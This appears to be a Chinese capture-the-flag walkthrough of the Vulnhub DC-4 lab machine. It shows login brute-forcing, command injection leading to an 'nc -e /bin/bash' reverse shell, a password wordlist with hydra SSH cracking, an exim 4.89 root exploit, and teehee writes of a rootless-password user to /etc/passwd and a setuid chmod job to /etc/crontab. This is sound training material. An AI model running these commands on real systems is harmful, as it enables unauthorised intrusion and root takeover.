当前位置: 首页 > news >正文

DC-4靶机

一.环境搭建

1.下载地址

靶场下载地址:https://download.vulnhub.com/dc/DC-4.zip

下载不下来用迅雷下载

2.虚拟机配置

切换为nat模式

开启靶机,遇到所有的错误直接点重试或者是,开启后呈现为下图即可

二.开始渗透

1.信息收集

老规矩,扫一下这个靶机的ip是多少

arp-scan -l

 用nmap扫一下开放端口和服务

nmap -p- -sV 192.168.111.132

 

开启了一个ssh和http服务,通过浏览器访问一下这个http服务

 开始还以为是sql注入,看了大佬的wp,直接暴力破解,那么我们也使用暴力破解来猜解密码,一般这种靶机的暴力破解的密码还是挺简单的,看到admin information,用户名我们直接锁定admin

打开burpsuite,抓包放到爆破模块去,这部分操作不会可以看pikachu靶场的操作,链接如下

pikachu靶场-暴力破解-CSDN博客

选中替换位置,导入字典,开始爆破(这个操作自己搞定吧)

账号密码爆破出来是admin/happy 

点进去看一下功能点,看到一个命令执行,ls,直接抓包尝试命令注入 

2.漏洞利用(获得shell)

抓包到如下的数据包,可以看到ls -l这个命令,我们就在此处进行命令注入

可以参考如下这篇文章

pikachu靶场-RCE_rce的无过滤-CSDN博客

执行一下cat command.php查看一下这个命令文件的代码 

数据包和代码如下,可以 

HTTP/1.1 200 OKServer: nginx/1.15.10Date: Sun, 24 Mar 2024 06:38:38 GMTContent-Type: text/html; charset=UTF-8Connection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Length: 2522<html><head><title>System Tools - Command</title><link rel="stylesheet" href="css/styles.css"></head><body><div class="container"><div class="inner">You are currently logged in<p>		<form method="post" action="command.php"><strong>Run Command:</strong><br><input type="radio" name="radio" value="ls -l" checked="checked">List Files<br /><input type="radio" name="radio" value="du -h">Disk Usage<br /><input type="radio" name="radio" value="df -h">Disk Free<br /><p><input type="submit" name="submit" value="Run"></form>You have selected: cat command.php<br /><pre><?php// You'd put this code at the top of any "protected" page you create// Always start this firstsession_start();if ( isset( $_SESSION['LoggedIn'] ) ) {// Grab user data from the database using the user_id// Let them access the "logged in only" pages} else {// Redirect them to the login pageheader("Location: index.php");}?><html><head><title>System Tools - Command</title><link rel="stylesheet" href="css/styles.css"></head><body><div class="container"><div class="inner"><?php//if ($_SESSION['LoggedIn']) {if (isset($_SESSION['LoggedIn'])) {echo "You are currently logged in<p>";}else{}?><form method="post" action="command.php"><strong>Run Command:</strong><br><input type="radio" name="radio" value="ls -l" checked="checked">List Files<br /><input type="radio" name="radio" value="du -h">Disk Usage<br /><input type="radio" name="radio" value="df -h">Disk Free<br /><p><input type="submit" name="submit" value="Run"></form><?php//if ($_SESSION['LoggedIn']) {if (isset($_SESSION['LoggedIn'])) {if (isset($_POST['submit'])) {if(isset($_POST['radio'])){echo "You have selected: ".$_POST['radio'] . "<br />";$my_cmd = $_POST['radio'];//echo $my_cmd;$output = shell_exec($my_cmd);echo "<pre>";print $output;echo "</pre>";}}echo "<p><a href='login.php'>Return to the menu.</a>";}else{echo "You need to be logged in to use this system.";echo "<p><a href='index.php'>Click to Log In Again</a>";}?></div></div></body></html></pre><p><a href='login.php'>Return to the menu.</a>			</div></div></body></html>

 

可以看到他的执行函数为shell_exec,直接在kali端启一个端口监听反弹shell

在数据包中将命令替换为如下 

nc 192.168.111.128 4444 -e /bin/bash

在kali端启动端口监听

nc -lvvp 4444

 在做这步操作的时候,我靶机挂掉了一次,直接重启虚拟机即可

 获得到一个shell,用python启一个交互式shell

python -c 'import pty;pty.spawn("/bin/sh")'

在/home/jim/backups目录下看到备份密码的文件

3.密码爆破

000000
12345
iloveyou
1q2w3e4r5t
1234
123456a
qwertyuiop
monkey
123321
dragon
654321
666666
123
myspace1
a123456
121212
1qaz2wsx
123qwe
123abc
tinkle
target123
gwerty
1g2w3e4r
gwerty123
zag12wsx
7777777
qwerty1
1q2w3e4r
987654321
222222
qwe123
qwerty123
zxcvbnm
555555
112233
fuckyou
asdfghjkl
12345a
123123123
1q2w3e
qazwsx
loveme1
juventus
jennifer1
!~!1
bubbles
samuel
fuckoff
lovers
cheese1
0123456
123asd
999999999
madison
elizabeth1
music
buster1
lauren
david1
tigger1
123qweasd
taylor1
carlos
tinkerbell
samantha1
Sojdlg123aljg
joshua1
poop
stella
myspace123
asdasd5
freedom1
whatever1
xxxxxx
00000
valentina
a1b2c3
741852963
austin
monica
qaz123
lovely1
music1
harley1
family1
spongebob1
steven
nirvana
1234abcd
hellokitty
thomas1
cooper
520520
muffin
christian1
love13
fucku2
arsenal1
lucky7
diablo
apples
george1
babyboy1
crystal
1122334455
player1
aa123456
vfhbyf
forever1
Password
winston
chivas1
sexy
hockey1
1a2b3c4d
pussy
playboy1
stalker
cherry
tweety
toyota
creative
gemini
pretty1
maverick
brittany1
nathan1
letmein1
cameron1
secret1
google1
heaven
martina
murphy
spongebob
uQA9Ebw445
fernando
pretty
startfinding
softball
dolphin1
fuckme
test123
qwerty1234
kobe24
alejandro
adrian
september
aaaaaa1
bubba1
isabella
abc123456
password3
jason1
abcdefg123
loveyou1
shannon
100200
manuel
leonardo
molly1
flowers
123456z
007007
password.
321321
miguel
samsung1
sergey
sweet1
abc1234
windows
qwert123
vfrcbv
poohbear
d123456
school1
badboy
951753
123456c
111
steven1
snoopy1
garfield
YAgjecc826
compaq
candy1
sarah1
qwerty123456
123456l
eminem1
141414
789789
maria
steelers
iloveme1
morgan1
winner
boomer
lolita
nastya
alexis1
carmen
angelo
nicholas1
portugal
precious
jackass1
jonathan1
yfnfif
bitch
tiffany
rabbit
rainbow1
angel123
popcorn
barbara
brandy
starwars1
barney
natalia
jibril04
hiphop
tiffany1
shorty
poohbear1
simone
albert
marlboro
hardcore
cowboys
sydney
alex
scorpio
1234512345
q12345
qq123456
onelove
bond007
abcdefg1
eagles
crystal1
azertyuiop
winter
sexy12
angelina
james
svetlana
fatima
123456k
icecream
popcorn1

生成密码爆破的文件,用hydra进行ssh爆破

爆破ssh 通过目录可以得知用户名为jim


hydra -l jim -P passwd.txt -t 10 ssh://192.168.111.132

 

爆破出ssh的账号密码为jim/jibril04,进行登录

ssh jim@192.168.111.132

在登录后提示我一个邮件,查看邮件内容

给出了密码

Password is:  ^xHhA&hvim0y

切换 Charles用户

su charles
sudo -l

 查看一下可以执行的命令

 发现有能够以root执行的teehee命令,而teehee的作用是可以向文件中追加内容(这部分提权内容在其他标题下)

 4.权限提升

用find看一下root权限能执行的命令

可以看到一个exim4命令

 版本号为4.89

用漏洞搜索工具查看一下有哪些可以利用的提权漏洞

查看漏洞利用脚本的地址在哪 

searchsploit -p 46996

 将脚本拷贝到jim的账户下

scp /usr/share/exploitdb/exploits/linux/local/46996.sh jim@192.168.111.132:/home/jim

 执行46996.sh

./46996.sh

 成功提权为root

拿到最终的flag文件

三.其他

1.可以利用teehee命令写入/etc/passwd进行提权

teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权

核心思路就是利用其在passwd文件中追加一条uid为0的用户条目

echo "mlws::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

按照linux用户机制,如果没有shadow条目,且passwd用户密码条目为空的时候,可以本地直接su空密码登录。

所以只需要执行su mlws就可以登录到mlws用户,这个用户因为uid为0,所以也是root权限 

成功提权

2.可以利用teehee命令写入/etc/corntab进行提权

这个工具还有通过向定时任务/etc/crontab写入进行提权

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

表示在/etc/crontab下写入定时计划,一分钟后由root用户给 /bin/bash 命令加权限(chmod 4777即开启suid和rwx权限)

也是成功进行提权 

相关文章:

DC-4靶机

一.环境搭建 1.下载地址 靶场下载地址:https://download.vulnhub.com/dc/DC-4.zip 下载不下来用迅雷下载 2.虚拟机配置 切换为nat模式 开启靶机&#xff0c;遇到所有的错误直接点重试或者是&#xff0c;开启后呈现为下图即可 二.开始渗透 1.信息收集 老规矩&#xff0c;…...

ideaSSM 高校公寓交流员管理系统bootstrap开发mysql数据库web结构java编程计算机网页源码maven项目

一、源码特点 idea 开发 SSM 高校公寓交流管理系统是一套完善的信息管理系统&#xff0c;结合SSM框架和bootstrap完成本系统&#xff0c;对理解JSP java编程开发语言有帮助系统采用SSM框架&#xff08;MVC模式开发&#xff09;&#xff0c;系统具有完整的源代码和数据库&…...

Android studio添加阿里云仓库

在工程的settings.gradle中添加 repositories { google() jcenter() mavenCentral() maven { url https://jitpack.io } //阿里云镜像 maven { url https://maven.aliyun.com/repository/google } maven { url https:…...

每天一个数据分析题(二百二十)

在集成学习的GBDT算法中&#xff0c;每次训练新的决策树的目的是( )&#xff1f; A. 预测原始数据的标签 B. 预测上一个模型的残差 C. 降低模型的偏差 D. 降低模型的方差 题目来源于CDA模拟题库 点击此处获取答案...

Centos上安装Harbor并使用

harbor的安装与使用 Harbor介绍安装前的准备工作为Harbor自签发证书安装Harbor安装docker开启包转发功能和修改内核参数安装harbor扩展 Harbor 图像化界面使用说明测试使用harbor私有镜像仓库从harbor仓库下载镜像 Harbor介绍 容器应用的开发和运行离不开可靠的 镜像管理&…...

工作需求,Vue实现登录

加油&#xff0c;新时代打工人&#xff01; vue 2.x Element UI <template><div class"body" :style"{background-image: url(${require(/assets/images/login.png)})}"><el-form :rules"rules" ref"loginForm" :mode…...

【生产力】Mac 窗口布局工具 Magnet

Magnet 是一款为Mac操作系统设计的实用工具&#xff0c;旨在帮助用户更加方便地管理和组织他们的窗口布局。通过使用Magnet&#xff0c;用户可以轻松地将应用程序窗口拖放到屏幕的各个部分&#xff0c;从而实现窗口的自动排列和大小调整。这款工具特别适合需要同时处理多个应用…...

Linux的相关指令总结

Linux的基本命令 Linux指令是Linux操作系统的核心组成部分&#xff0c;它们为用户和管理员提供了与系统进行交互和管理的强大工具。这些指令涵盖了从基本的文件操作到复杂的系统配置和管理的各个方面。 ls指令 功能&#xff1a;用于列出指定目录中的文件和子目录名称。语法&am…...

HTTPS 加密原理

HTTPS 加密原理 HTTPS 加密原理常见的加密方法单向加密对称加密非对称加密 为什么需要加密&#xff1f;加密流程演变对称加密非对称加密非对称加密对称加密 存在问题解决方式数字证书生成方式 整体流程 HTTPS 加密原理 常见的加密方法 单向加密 也称为不可逆加密&#xff0c…...

【数据挖掘】实验4:数据探索

实验4&#xff1a;数据探索 一&#xff1a;实验目的与要求 1&#xff1a;熟悉和掌握数据探索&#xff0c;学习数据质量分类、数据特征分析和R语言的主要数据探索函数。 二&#xff1a;实验内容 1&#xff1a;数据质量分析 2&#xff1a;统计量分析 3&#xff1a;贡献度分析…...

PTA后缀式求值(整型版)

作者 周强 单位 青岛大学 我们人类习惯于书写“中缀式”&#xff0c;如 3 5 * 2 &#xff0c;其值为13。 (p.s. 为什么人类习惯中缀式呢&#xff1f;是因为中缀式比后缀式好用么&#xff1f;&#xff09; 而计算机更加习惯“后缀式”&#xff08;也叫“逆波兰式”&#xff…...

FPGA与以太网相关接口知识

一&#xff1a;一般硬件架构&#xff1b;(对于1000m网一般都使用普通io口&#xff0c;普通管脚能跑800M(正点技术说的))) 1&#xff1a;FPGA普通管脚——phy芯片&#xff08;pcspma&#xff09;——rg45 2&#xff1a;FPGA(GT)光口(利用fpga的GT&#xff0c;直接节约了phy芯片…...

使用git+ssh访问github,避免下载资源失败

一、创建github账户之后&#xff0c;记住注册邮箱和账户名 我的邮箱&#xff1a;yuanyan23mails.ucas.ac.cn 账户名&#xff1a;thekingofjumpshoot 下边的相关位置需要用自己的邮箱和用户名替代 二、输入本地生成秘钥和公钥命令&#xff0c;并且生成公私钥对 ssh-keygen …...

cookie、session和token的区别

引言 在当今的互联网时代&#xff0c;Web 应用程序的安全性和用户体验至关重要。身份验证和状态管理是构建安全、可靠的 Web 应用的核心部分。cookie、session、token都是常用的身份验证和状态管理机制。 Cookie 什么是 Cookie&#xff1f; Cookie 是存储在用户浏览器中的小…...

如何解决Layui后台接口返回数据,但是table.render不渲染表格数据的问题

我这边进行了pareData数据格式转换&#xff0c;response重新定义了layui的参数格式规范 接口正常返回了数据 但是就是不渲染&#xff0c;我这个郁闷啊&#xff01;&#xff01; 忽然&#xff0c;我把后台重新定义的layui规定的格式参数&#xff0c;有个参数名叫data&#xff0…...

matlab 将矩阵写入文件

目录 一、概述1、算法概述2、主要函数二、将矩阵写入到文本文件三、将矩阵写入电子表格文件四、将矩阵写入指定的工作表和范围五、将数据追加到电子表格六、将矩阵数据追加到文本文件七、参考链接本文由CSDN点云侠原创,原文链接。如果你不是在点云侠的博客中看到该文章,那么此…...

pandas的综合练习

事先说明&#xff1a; 由于每次都要导入库和处理中文乱码问题&#xff0c;我都是在最前面先写好&#xff0c;后面的代码就不在写了。要是copy到自己本地的话&#xff0c;就要把下面的代码也copy下。 # 准备工作import pandas as pd import numpy as np from matplotlib impor…...

北京中科富海低温科技有限公司确认出席2024第三届中国氢能国际峰会

会议背景 随着全球对清洁能源的迫切需求&#xff0c;氢能能源转型、工业应用、交通运输等方面具有广阔前景&#xff0c;氢能也成为应对气候变化的重要解决方案。根据德勤的报告显示&#xff0c;到2050年&#xff0c;绿色氢能将有1.4万亿美元市场。氢能产业的各环节的关键技术突…...

非插件方式为wordpress添加一个额外的编辑器

在WordPress中&#xff0c;要添加一个额外的区块编辑器(通常指的是Gutenberg区块编辑器中的一个自定义区块)&#xff0c;你需要编写一些PHP代码来注册新的区块&#xff0c;并可能还需要一些JavaScript来处理前端的逻辑。下面是一个简单的示例&#xff0c;展示了如何注册一个自定…...

Spark Stage

Spark Stage 什么是Stage Spark中的一个Stage只不过是物理执行计划其中的一个步骤&#xff0c;它是物理执行计划的一个执行单元。一个Job会被拆分为多组Task&#xff0c;每组任务被称为一个Stage&#xff0c;可以简单理解为MapReduce里面的Map Stage&#xff0c; Reduce Stag…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)

CSI-2 协议详细解析 (一&#xff09; 1. CSI-2层定义&#xff08;CSI-2 Layer Definitions&#xff09; 分层结构 &#xff1a;CSI-2协议分为6层&#xff1a; 物理层&#xff08;PHY Layer&#xff09; &#xff1a; 定义电气特性、时钟机制和传输介质&#xff08;导线&#…...

基于Flask实现的医疗保险欺诈识别监测模型

基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施&#xff0c;由雇主和个人按一定比例缴纳保险费&#xff0c;建立社会医疗保险基金&#xff0c;支付雇员医疗费用的一种医疗保险制度&#xff0c; 它是促进社会文明和进步的…...

【git】把本地更改提交远程新分支feature_g

创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...

数据库分批入库

今天在工作中&#xff0c;遇到一个问题&#xff0c;就是分批查询的时候&#xff0c;由于批次过大导致出现了一些问题&#xff0c;一下是问题描述和解决方案&#xff1a; 示例&#xff1a; // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...

IoT/HCIP实验-3/LiteOS操作系统内核实验(任务、内存、信号量、CMSIS..)

文章目录 概述HelloWorld 工程C/C配置编译器主配置Makefile脚本烧录器主配置运行结果程序调用栈 任务管理实验实验结果osal 系统适配层osal_task_create 其他实验实验源码内存管理实验互斥锁实验信号量实验 CMISIS接口实验还是得JlINKCMSIS 简介LiteOS->CMSIS任务间消息交互…...

蓝桥杯3498 01串的熵

问题描述 对于一个长度为 23333333的 01 串, 如果其信息熵为 11625907.5798&#xff0c; 且 0 出现次数比 1 少, 那么这个 01 串中 0 出现了多少次? #include<iostream> #include<cmath> using namespace std;int n 23333333;int main() {//枚举 0 出现的次数//因…...

python报错No module named ‘tensorflow.keras‘

是由于不同版本的tensorflow下的keras所在的路径不同&#xff0c;结合所安装的tensorflow的目录结构修改from语句即可。 原语句&#xff1a; from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后&#xff1a; from tensorflow.python.keras.lay…...

七、数据库的完整性

七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...

Mysql8 忘记密码重置,以及问题解决

1.使用免密登录 找到配置MySQL文件&#xff0c;我的文件路径是/etc/mysql/my.cnf&#xff0c;有的人的是/etc/mysql/mysql.cnf 在里最后加入 skip-grant-tables重启MySQL服务 service mysql restartShutting down MySQL… SUCCESS! Starting MySQL… SUCCESS! 重启成功 2.登…...

VisualXML全新升级 | 新增数据库编辑功能

VisualXML是一个功能强大的网络总线设计工具&#xff0c;专注于简化汽车电子系统中复杂的网络数据设计操作。它支持多种主流总线网络格式的数据编辑&#xff08;如DBC、LDF、ARXML、HEX等&#xff09;&#xff0c;并能够基于Excel表格的方式生成和转换多种数据库文件。由此&…...